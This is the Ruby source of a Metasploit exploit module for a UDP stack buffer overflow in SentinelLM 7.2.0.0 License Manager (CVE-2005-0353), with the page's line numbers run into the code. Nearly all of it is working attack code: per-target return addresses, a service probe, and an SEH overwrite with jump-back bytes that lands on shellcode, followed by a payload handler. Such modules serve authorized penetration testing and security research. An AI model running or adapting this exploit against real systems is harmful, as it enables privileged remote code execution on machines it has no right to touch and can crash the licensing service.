Path: blob/master/modules/exploits/windows/license/sentinel_lm7_udp.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'SentinelLM UDP Buffer Overflow',15'Description' => %q{16This module exploits a simple stack buffer overflow in the Sentinel17License Manager. The SentinelLM service is installed with a18wide selection of products and seems particular popular with19academic products. If the wrong target value is selected,20the service will crash and not restart.21},22'Author' => [ 'hdm' ],23'License' => MSF_LICENSE,24'References' => [25[ 'CVE', '2005-0353'],26[ 'OSVDB', '14605'],27[ 'BID', '12742'],28],29'Privileged' => true,30'DefaultOptions' => {31'EXITFUNC' => 'process',32},33'Payload' => {34'Space' => 800,35'BadChars' => "\x00\x20",36'StackAdjustment' => -3500,37},38'Platform' => 'win',39'Targets' => [40['SentinelLM 7.2.0.0 Windows NT 4.0 SP4/SP5/SP6', { 'Ret' => 0x77681799 }], # ws2help.dll41['SentinelLM 7.2.0.0 Windows 2000 English', { 'Ret' => 0x75022ac4 }], # ws2help.dll42['SentinelLM 7.2.0.0 Windows 2000 German', { 'Ret' => 0x74fa1887 }], # ws2help.dll43['SentinelLM 7.2.0.0 Windows XP English SP0/SP1', { 'Ret' => 0x71aa32ad }], # ws2help.dll44['SentinelLM 7.2.0.0 Windows 2003 English SP0', { 'Ret' => 0x7ffc0638 }], # peb45],46'DisclosureDate' => '2005-03-07',47'Notes' => {48'Reliability' => UNKNOWN_RELIABILITY,49'Stability' => UNKNOWN_STABILITY,50'SideEffects' => UNKNOWN_SIDE_EFFECTS51}52)53)5455register_options(56[57Opt::RPORT(5093)58]59)60end6162def check63connect_udp64udp_sock.put("\x7a\x00\x00\x00\x00\x00")65res = udp_sock.recvfrom(8192)66disconnect_udp6768if (res and res[0] == 0x7a)69return Exploit::CheckCode::Detected70end7172return Exploit::CheckCode::Safe73end7475def exploit76connect_udp7778# Payload goes first79buf = payload.encoded + rand_text_english(2048 - payload.encoded.length)8081# Return to a pop/pop/ret via SEH82buf[836, 4] = [target.ret].pack('V')8384# The pop/pop/ret takes us here, jump back 5 bytes85buf[832, 2] = "\xeb\xf9"8687# Now jump all the way back to our shellcode88buf[827, 5] = "\xe9" + [-829].pack('V')8990udp_sock.put(buf)91udp_sock.recvfrom(8192)9293handler94disconnect_udp95end9697end9899100